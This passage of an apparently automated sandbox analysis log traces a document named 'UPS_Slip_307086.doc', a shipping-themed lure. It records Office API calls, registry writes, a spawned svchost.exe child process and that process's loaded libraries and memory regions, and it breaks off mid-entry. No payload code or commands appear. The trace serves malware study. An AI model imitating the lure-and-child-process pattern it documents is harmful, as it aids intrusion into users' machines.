(This=0x759e828) returned 0x0 [0109.206] IUnknown:Release (This=0x759ea68) returned 0x1 [0109.206] IUnknown:Release (This=0x759e888) returned 0x0 [0109.208] VirtualFree (lpAddress=0x8300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.209] wcsncpy_s (in: _Destination=0x264ff0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0109.209] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0109.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x264f10, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0109.209] _wcsicmp (_String1="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _String2="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0 [0109.211] GetCurrentThreadId () returned 0x938 [0109.211] GetCurrentThreadId () returned 0x938 [0109.267] ShowWindow (hWnd=0x10248, nCmdShow=0) returned 0 [0109.267] ShowWindow (hWnd=0x10246, nCmdShow=0) returned 0 [0109.267] SendMessageA (hWnd=0x1023e, Msg=0x14b, wParam=0x0, lParam=0x0) returned 0x1 [0109.267] SetWindowTextA (hWnd=0x10248, lpString="") returned 1 [0109.267] SetWindowTextA (hWnd=0x1023a, lpString="Properties") returned 1 [0109.267] IsWindowVisible (hWnd=0x1023a) returned 0 [0109.268] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0109.268] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=7, lpWideCharStr=0x76c0c78, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0109.329] IsWindowVisible (hWnd=0x1022e) returned 0 [0109.385] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0109.385] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=7, lpWideCharStr=0x76c0c78, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0109.385] lstrlenA (lpString="Normal") returned 6 [0109.386] CExposedDocFile::Release () returned 0x1 [0109.386] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0109.386] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=7, lpWideCharStr=0x76c0c78, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0109.386] lstrlenA (lpString="Normal") returned 6 [0109.387] GetCurrentThreadId () returned 0x938 [0109.387] SetCursor (hCursor=0x10007) returned 0x10003 [0109.387] CExposedDocFile::Release () returned 0x0 [0109.387] CExposedDocFile::Release () returned 0x0 [0109.387] GetCurrentThreadId () returned 0x938 [0109.387] GetCurrentThreadId () returned 0x938 [0109.387] SendMessageA (hWnd=0x10236, Msg=0x110a, wParam=0x4, lParam=0x75077f0) returned 0x0 [0109.387] SendMessageA (hWnd=0x10236, Msg=0x1101, wParam=0x0, lParam=0x75077f0) returned 0x1 [0109.387] SendMessageA (hWnd=0x10236, Msg=0x1105, wParam=0x0, lParam=0x0) returned 0x0 [0109.388] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0109.388] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=7, lpWideCharStr=0x76c0c78, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0109.388] lstrlenA (lpString="Normal") returned 6 [0109.389] wcsncpy_s (in: _Destination=0x26a630, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0109.389] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0109.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x26a550, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0109.389] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0109.392] GetCurrentThreadId () returned 0x938 [0109.392] GetCurrentThreadId () returned 0x938 [0109.393] SetCursor (hCursor=0x10007) returned 0x10007 [0109.432] RegSetValueExA (in: hKey=0x44c, lpValueName="PropertiesWindow", Reserved=0x0, dwType=0x1, lpData="4 24 180 720 1", cbData=0xf | out: lpData="4 24 180 720 1") returned 0x0 [0109.595] ShowWindow (hWnd=0x10248, nCmdShow=0) returned 0 [0109.595] ShowWindow (hWnd=0x10246, nCmdShow=0) returned 0 [0109.595] SendMessageA (hWnd=0x1023e, Msg=0x14b, wParam=0x0, lParam=0x0) returned 0x1 [0109.596] SetWindowTextA (hWnd=0x10248, lpString="") returned 1 [0109.596] SetWindowTextA (hWnd=0x1023a, lpString="Properties") returned 1 [0109.596] IsWindowVisible (hWnd=0x1023a) returned 0 [0109.659] RegSetValueExA (in: hKey=0x5b0, lpValueName="MainWindow", Reserved=0x0, dwType=0x1, lpData="0 0 0 0 1", cbData=0xa | out: lpData="0 0 0 0 1") returned 0x0 [0109.659] RegSetValueExA (in: hKey=0x5b0, lpValueName="MdiMaximized", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x2 | out: lpData="0") returned 0x0 [0109.659] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d2a0 | out: lpPoint=0x26d2a0) returned 1 [0109.659] OffsetRect (in: lprc=0x26d2d0, dx=8, dy=30 | out: lprc=0x26d2d0) returned 1 [0109.659] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d230 | out: lpPoint=0x26d230) returned 1 [0109.659] OffsetRect (in: lprc=0x26d260, dx=8, dy=30 | out: lprc=0x26d260) returned 1 [0109.659] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d1c0 | out: lpPoint=0x26d1c0) returned 1 [0109.659] OffsetRect (in: lprc=0x26d1f0, dx=8, dy=30 | out: lprc=0x26d1f0) returned 1 [0109.659] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d1c0 | out: lpPoint=0x26d1c0) returned 1 [0109.660] OffsetRect (in: lprc=0x26d1f0, dx=8, dy=30 | out: lprc=0x26d1f0) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d230 | out: lpPoint=0x26d230) returned 1 [0109.660] OffsetRect (in: lprc=0x26d260, dx=8, dy=30 | out: lprc=0x26d260) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d1c0 | out: lpPoint=0x26d1c0) returned 1 [0109.660] OffsetRect (in: lprc=0x26d1f0, dx=8, dy=30 | out: lprc=0x26d1f0) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d150 | out: lpPoint=0x26d150) returned 1 [0109.660] OffsetRect (in: lprc=0x26d180, dx=8, dy=30 | out: lprc=0x26d180) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d150 | out: lpPoint=0x26d150) returned 1 [0109.660] OffsetRect (in: lprc=0x26d180, dx=8, dy=30 | out: lprc=0x26d180) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d1c0 | out: lpPoint=0x26d1c0) returned 1 [0109.660] OffsetRect (in: lprc=0x26d1f0, dx=8, dy=30 | out: lprc=0x26d1f0) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d150 | out: lpPoint=0x26d150) returned 1 [0109.660] OffsetRect (in: lprc=0x26d180, dx=8, dy=30 | out: lprc=0x26d180) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d150 | out: lpPoint=0x26d150) returned 1 [0109.660] OffsetRect (in: lprc=0x26d180, dx=8, dy=30 | out: lprc=0x26d180) returned 1 [0109.660] ClientToScreen (in: hWnd=0x1022e, lpPoint=0x26d150 | out: lpPoint=0x26d150) returned 1 [0109.661] OffsetRect (in: lprc=0x26d180, dx=8, dy=30 | out: lprc=0x26d180) returned 1 [0109.661] ClientToScreen (in: hWnd=0x10256, lpPoint=0x26d2a0 | out: lpPoint=0x26d2a0) returned 1 [0109.661] OffsetRect (in: lprc=0x26d2d0, dx=33, dy=370 | out: lprc=0x26d2d0) returned 1 [0109.661] ClientToScreen (in: hWnd=0x10256, lpPoint=0x26d230 | out: lpPoint=0x26d230) returned 1 [0109.661] OffsetRect (in: lprc=0x26d260, dx=33, dy=370 | out: lprc=0x26d260) returned 1 [0109.661] ClientToScreen (in: hWnd=0x10256, lpPoint=0x26d230 | out: lpPoint=0x26d230) returned 1 [0109.661] OffsetRect (in: lprc=0x26d260, dx=33, dy=370 | out: lprc=0x26d260) returned 1 [0109.661] ClientToScreen (in: hWnd=0x10256, lpPoint=0x26d230 | out: lpPoint=0x26d230) returned 1 [0109.661] OffsetRect (in: lprc=0x26d260, dx=33, dy=370 | out: lprc=0x26d260) returned 1 [0109.661] ClientToScreen (in: hWnd=0x10258, lpPoint=0x26d2a0 | out: lpPoint=0x26d2a0) returned 1 [0109.661] OffsetRect (in: lprc=0x26d2d0, dx=760, dy=129 | out: lprc=0x26d2d0) returned 1 [0109.661] ClientToScreen (in: hWnd=0x1025a, lpPoint=0x26d2a0 | out: lpPoint=0x26d2a0) returned 1 [0109.661] OffsetRect (in: lprc=0x26d2d0, dx=89, dy=560 | out: lprc=0x26d2d0) returned 1 [0109.661] ClientToScreen (in: hWnd=0x1025c, lpPoint=0x26d2a0 | out: lpPoint=0x26d2a0) returned 1 [0109.661] OffsetRect (in: lprc=0x26d2d0, dx=826, dy=188 | out: lprc=0x26d2d0) returned 1 [0109.662] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0109.663] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0109.664] DeleteObject (ho=0x185000f) returned 1 [0109.672] RegSetValueExA (in: hKey=0x5b0, lpValueName="FolderView", Reserved=0x0, dwType=0x1, lpData="1", cbData=0x2 | out: lpData="1") returned 0x0 [0109.672] CreateStreamOnHGlobal (in: hGlobal=0x5080088, fDeleteOnRelease=0, ppstm=0x26d110 | out: ppstm=0x26d110*=0x731e3e0) returned 0x0 [0109.672] lstrlenA (lpString="General") returned 7 [0109.672] IStream:Commit (This=0x731e3e0, grfCommitFlags=0x1c52b08) returned 0x0 [0109.672] IStream:Commit (This=0x731e3e0, grfCommitFlags=0x26d0b0) returned 0x0 [0109.672] IStream:Commit (This=0x731e3e0, grfCommitFlags=0x1c52b10) returned 0x0 [0109.672] IStream:Commit (This=0x731e3e0, grfCommitFlags=0x26d0c0) returned 0x0 [0109.672] IStream:Commit (This=0x731e3e0, grfCommitFlags=0x26d0c0) returned 0x0 [0109.672] IStream:LockRegion (This=0x731e3e0, libOffset=0x0, cb=0x2, dwLockType=0x26d128) returned 0x0 [0109.672] GlobalLock (hMem=0x5080088) returned 0x6f24090 [0109.672] RegSetValueExA (in: hKey=0x5b0, lpValueName="Tool", Reserved=0x0, dwType=0x3, lpData=0x6f24090*, cbData=0x18 | out: lpData=0x6f24090*) returned 0x0 [0109.673] RegCloseKey (hKey=0x5b0) returned 0x0 [0109.673] GlobalUnlock (hMem=0x5080088) returned 0 [0109.673] IUnknown:Release (This=0x731e3e0) returned 0x0 [0109.673] RegSetValueExA (in: hKey=0x610, lpValueName="CtlsShowSelected", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x2 | out: lpData="0") returned 0x0 [0109.674] RegSetValueExA (in: hKey=0x610, lpValueName="DsnShowSelected", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x2 | out: lpData="0") returned 0x0 [0109.756] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7fefede0000 [0109.756] GetProcAddress (hModule=0x7fefede0000, lpProcName="DllDebugObjectRPCHook") returned 0x7fefef5afd0 [0109.756] DllDebugObjectRPCHook () returned 0x1 Thread: id = 13 os_tid = 0x9cc Thread: id = 14 os_tid = 0x9d8 Thread: id = 21 os_tid = 0xa04 Thread: id = 41 os_tid = 0xa1c Thread: id = 58 os_tid = 0xac0 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\syswow64\\svchost.exe" page_root = "0x6231a000" os_pid = "0x9dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Windows\\SysWOW64\\svchost.exe\"" cur_dir = "C:\\Users\\aDU0VK IWA5kLS\\Desktop\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 451 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 452 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 453 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 454 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 455 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 456 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 457 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 458 start_va = 0x4f0000 end_va = 0x4f7fff entry_point = 0x4f0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\SysWOW64\\svchost.exe" (normalized: "c:\\windows\\syswow64\\svchost.exe") Region: id = 459 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 460 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 461 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 462 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 463 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 464 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 465 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 466 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 467 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 469 start_va = 0x400000 end_va = 0x407fff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 470 start_va = 0x380000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 471 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c40000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 472 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ca0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 473 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d10000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 474 start_va = 0x6f0000 end_va = 0x7effff entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 475 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dc0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 476 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77130000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 477 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 478 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 479 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 480 start_va = 0x190000 end_va = 0x1f6fff entry_point = 0x190000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 481 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x75270000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 482 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x75280000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 483 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75440000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 484 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75970000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 485 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 486 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 487 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 488 start_va = 0x6a0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 489 start_va = 0x76e10000 end_va = 0x76f04fff entry_point = 0x76e10000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 490 start_va = 0x76f10000 end_va = 0x76f66fff entry_point = 0x76f10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 491 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ab0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 492 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 493 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x77280000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 494 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 495 start_va = 0x77180000 end_va = 0x7721cfff entry_point = 0x77180000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 496 start_va = 0x76ff0000 end_va = 0x77125fff entry_point = 0x76ff0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 497 start_va = 0x752e0000 end_va = 0x7543bfff entry_point = 0x752e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 498 start_va = 0x75ed0000 end_va = 0x75f5efff entry_point = 0x75ed0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 499 start_va = 0x75990000 end_va = 0x75aacfff entry_point = 0x75990000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 500 start_va = 0x776f0000 end_va = 0x776fbfff entry_point = 0x776f0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 501 start_va = 0x75530000 end_va = 0x7572afff entry_point = 0x75530000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 502 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x20000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 503 start_va = 0x500000 end_va = 0x687fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 504 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 505 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 506 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 507 start_va = 0x7f0000 end_va = 0x970fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 508 start_va = 0x980000 end_va = 0x1d7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 509 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 510 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 511 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 512 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 513 start_va = 0x1d80000 end_va = 0x2172fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d80000" filename = "" Region: id = 514 start_va = 0x75230000 end_va = 0x7524bfff entry_point = 0x75230000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 515 start_va = 0x75cd0000 end_va = 0x75cd5fff entry_point = 0x75cd0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 516 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x75220000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 517 start_va = 0x76f70000 end_va = 0x76f74fff entry_point = 0x76f70000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 518 start_va = 0x2180000 end_va = 0x4180fff entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 519 start_va = 0x4190000 end_va = 0x6190fff entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 520 start_va = 0x61a0000 end_va = 0x81a0fff entry_point = 0x0 region_type = private name = "private_0x00000000061a0000" filename = "" Region: id = 521 start_va = 0x75210000 end_va = 0x7521cfff entry_point = 0x75210000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 522 start_va = 0x76dd0000 end_va = 0x76e04fff entry_point = 0x76dd0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 523 start_va = 0x200000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 524 start_va = 0x110000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 525 start_va = 0x340000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 526 start_va = 0x751f0000 end_va = 0x75201fff entry_point = 0x751f0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 527 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 528 start_va = 0x81b0000 end_va = 0x847efff entry_point = 0x81b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 529 start_va = 0x90000 end_va = 0x91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 530 start_va = 0x74cb0000 end_va = 0x74e4dfff entry_point = 0x74cb0000 region_type = mapped_file name = "comctl32.dll" filename = 